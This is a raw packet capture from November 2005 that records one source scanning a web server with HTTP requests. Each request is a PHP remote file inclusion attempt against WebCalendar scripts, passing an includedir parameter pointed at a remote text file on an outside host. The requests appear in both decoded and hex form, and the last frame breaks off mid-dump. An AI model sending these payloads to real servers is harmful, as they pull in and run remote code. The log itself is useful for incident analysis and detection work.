No.     Time                       Source                Destination           Protocol Info
  10986 2005-11-27 12:13:07.837369 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 10986 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 52844 (52844), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 ae f4 40 00 30 06 6f 0f 41 cb 86 64 cb 57   .G..@.0.o.A..d.W
0020  98 26 ce 6c 00 50 38 09 35 e7 9b ac 1e 98 80 18   .&.l.P8.5.......
0030  16 d0 68 69 00 00 01 01 08 0a df 5b 9c 0b 00 00   ..hi.......[....
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....

No.     Time                       Source                Destination           Protocol Info
  11001 2005-11-27 12:13:11.443162 xxx.203.134.100        xxx.87.152.38         HTTP     GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11001 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53291 (53291), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 22 6c 40 00 30 06 fb 97 41 cb 86 64 cb 57   .G"l@.0...A..d.W
0020  98 26 d0 2b 00 50 37 c8 80 9e 9b ba 73 2e 80 18   .&.+.P7.....s...
0030  16 d0 e0 01 00 00 01 01 08 0a df 5b a3 b9 00 00   ...........[....
0040  00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64   ..GET /WebCalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....

No.     Time                       Source                Destination           Protocol Info
  11029 2005-11-27 12:13:12.862553 xxx.203.134.100        xxx.87.152.38         HTTP     GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11029 (338 bytes on wire, 338 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53424 (53424), Dst Port: http (80), Seq: 1, Ack: 1, Len: 272
Hypertext Transfer Protocol
    GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 44 48 dc 40 00 30 06 d5 2a 41 cb 86 64 cb 57   .DH.@.0..*A..d.W
0020  98 26 d0 b0 00 50 38 6a ed 62 9b c0 af 37 80 18   .&...P8j.b...7..
0030  16 d0 7e 2d 00 00 01 01 08 0a df 5b a6 4a 00 00   ..~-.......[.J..
0040  00 00 47 45 54 20 2f 63 61 6c 65 6e 64 61 72 2f   ..GET /calendar/
0050  74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 6d 69 6e   tools/send_remin
0060  64 65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65   ders.php?include
0070  64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67   dir=http://www.g
0080  65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75   eocities.com/tru
0090  73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54   stopt/t.txt? HTT
00a0  50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a   P/1.1..Accept: *
00b0  2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75   /*..Accept-Langu
00c0  61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65   age: en-us..Acce
00d0  70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69   pt-Encoding: gzi
00e0  70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72   p, deflate..User
00f0  2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f   -Agent: Mozilla/
0100  34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b   4.0 (compatible;
0110  20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f    MSIE 6.0; Windo
0120  77 73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30   ws 98)..Host: 20
0130  33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e   3.87.152.38..Con
0140  6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a   nection: Close..
0150  0d 0a                                             ..

No.     Time                       Source                Destination           Protocol Info
  11043 2005-11-27 12:13:13.524613 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11043 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53484 (53484), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 bf 4e 40 00 30 06 5e b9 41 cb 86 64 cb 57   .C.N@.0.^.A..d.W
0020  98 26 d0 ec 00 50 38 8e 19 99 9b c3 ea 4d 80 18   .&...P8......M..
0030  16 d0 30 c2 00 00 01 01 08 0a df 5b a7 5f 00 00   ..0........[._..
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11056 2005-11-27 12:13:14.210363 xxx.203.134.100        xxx.87.152.38         HTTP     GET /WebCalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11056 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53539 (53539), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /WebCalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /WebCalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 7b 8a 40 00 30 06 a2 7d 41 cb 86 64 cb 57   .C{.@.0..}A..d.W
0020  98 26 d1 23 00 50 37 e2 d3 9e 9b c6 a1 b8 80 18   .&.#.P7.........
0030  16 d0 de b0 00 00 01 01 08 0a df 5b a8 92 00 00   ...........[....
0040  00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64   ..GET /WebCalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11070 2005-11-27 12:13:14.836585 xxx.203.134.100        xxx.87.152.38         HTTP     GET /calendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11070 (334 bytes on wire, 334 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53591 (53591), Dst Port: http (80), Seq: 1, Ack: 1, Len: 268
Hypertext Transfer Protocol
    GET /calendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /calendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 40 4b 39 40 00 30 06 d2 d1 41 cb 86 64 cb 57   .@K9@.0...A..d.W
0020  98 26 d1 57 00 50 38 91 e2 2b 9b c9 2f 9e 80 18   .&.W.P8..+../...
0030  16 d0 31 35 00 00 01 01 08 0a df 5b a9 c6 00 00   ..15.......[....
0040  00 00 47 45 54 20 2f 63 61 6c 65 6e 64 61 72 2f   ..GET /calendar/
0050  77 73 2f 67 65 74 5f 72 65 6d 69 6e 64 65 72 73   ws/get_reminders
0060  2e 70 68 70 3f 69 6e 63 6c 75 64 65 64 69 72 3d   .php?includedir=
0070  68 74 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69   http://www.geoci
0080  74 69 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70   ties.com/trustop
0090  74 2f 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e   t/t.txt? HTTP/1.
00a0  31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a   1..Accept: */*..
00b0  41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a   Accept-Language:
00c0  20 65 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45    en-us..Accept-E
00d0  6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64   ncoding: gzip, d
00e0  65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65   eflate..User-Age
00f0  6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20   nt: Mozilla/4.0 
0100  28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49   (compatible; MSI
0110  45 20 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39   E 6.0; Windows 9
0120  38 29 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37   8)..Host: 203.87
0130  2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74   .152.38..Connect
0140  69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a         ion: Close....

No.     Time                       Source                Destination           Protocol Info
  11084 2005-11-27 12:13:15.586317 xxx.203.134.100        xxx.87.152.38         HTTP     GET /events/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11084 (336 bytes on wire, 336 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53648 (53648), Dst Port: http (80), Seq: 1, Ack: 1, Len: 270
Hypertext Transfer Protocol
    GET /events/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /events/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 42 60 4e 40 00 30 06 bd ba 41 cb 86 64 cb 57   .B`N@.0...A..d.W
0020  98 26 d1 90 00 50 38 bf ca 19 9b cb ed b0 80 18   .&...P8.........
0030  16 d0 a2 8d 00 00 01 01 08 0a df 5b aa dc 00 00   ...........[....
0040  00 00 47 45 54 20 2f 65 76 65 6e 74 73 2f 74 6f   ..GET /events/to
0050  6f 6c 73 2f 73 65 6e 64 5f 72 65 6d 69 6e 64 65   ols/send_reminde
0060  72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64 69   rs.php?includedi
0070  72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65 6f   r=http://www.geo
0080  63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73 74   cities.com/trust
0090  6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50 2f   opt/t.txt? HTTP/
00a0  31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a   1.1..Accept: */*
00b0  0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67   ..Accept-Languag
00c0  65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70 74   e: en-us..Accept
00d0  2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c   -Encoding: gzip,
00e0  20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41    deflate..User-A
00f0  67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e   gent: Mozilla/4.
0100  30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d   0 (compatible; M
0110  53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77 73   SIE 6.0; Windows
0120  20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33 2e    98)..Host: 203.
0130  38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65   87.152.38..Conne
0140  63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a   ction: Close....

No.     Time                       Source                Destination           Protocol Info
  11097 2005-11-27 12:13:16.187426 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11097 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53723 (53723), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 8e 6f 40 00 30 06 8f 94 41 cb 86 64 cb 57   .G.o@.0...A..d.W
0020  98 26 d1 db 00 50 38 61 25 d0 9b cf 90 e4 80 18   .&...P8a%.......
0030  16 d0 f2 1c 00 00 01 01 08 0a df 5b ac 38 00 00   ...........[.8..
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....

No.     Time                       Source                Destination           Protocol Info
  11110 2005-11-27 12:13:16.736822 xxx.203.134.100        xxx.87.152.38         HTTP     GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11110 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53799 (53799), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
    GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 47 88 04 40 00 30 06 95 ff 41 cb 86 64 cb 57   .G..@.0...A..d.W
0020  98 26 d2 27 00 50 38 5e 24 c9 9b d2 05 3c 80 18   .&.'.P8^$....<..
0030  16 d0 9d 78 00 00 01 01 08 0a df 5b ad 60 00 00   ...x.......[.`..
0040  00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64   ..GET /WebCalend
0050  61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65   ar/tools/send_re
0060  6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c   minders.php?incl
0070  75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77   udedir=http://ww
0080  77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f   w.geocities.com/
0090  74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20   trustopt/t.txt? 
00a0  48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74   HTTP/1.1..Accept
00b0  3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61   : */*..Accept-La
00c0  6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41   nguage: en-us..A
00d0  63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20   ccept-Encoding: 
00e0  67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55   gzip, deflate..U
00f0  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c   ser-Agent: Mozil
0100  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62   la/4.0 (compatib
0110  6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69   le; MSIE 6.0; Wi
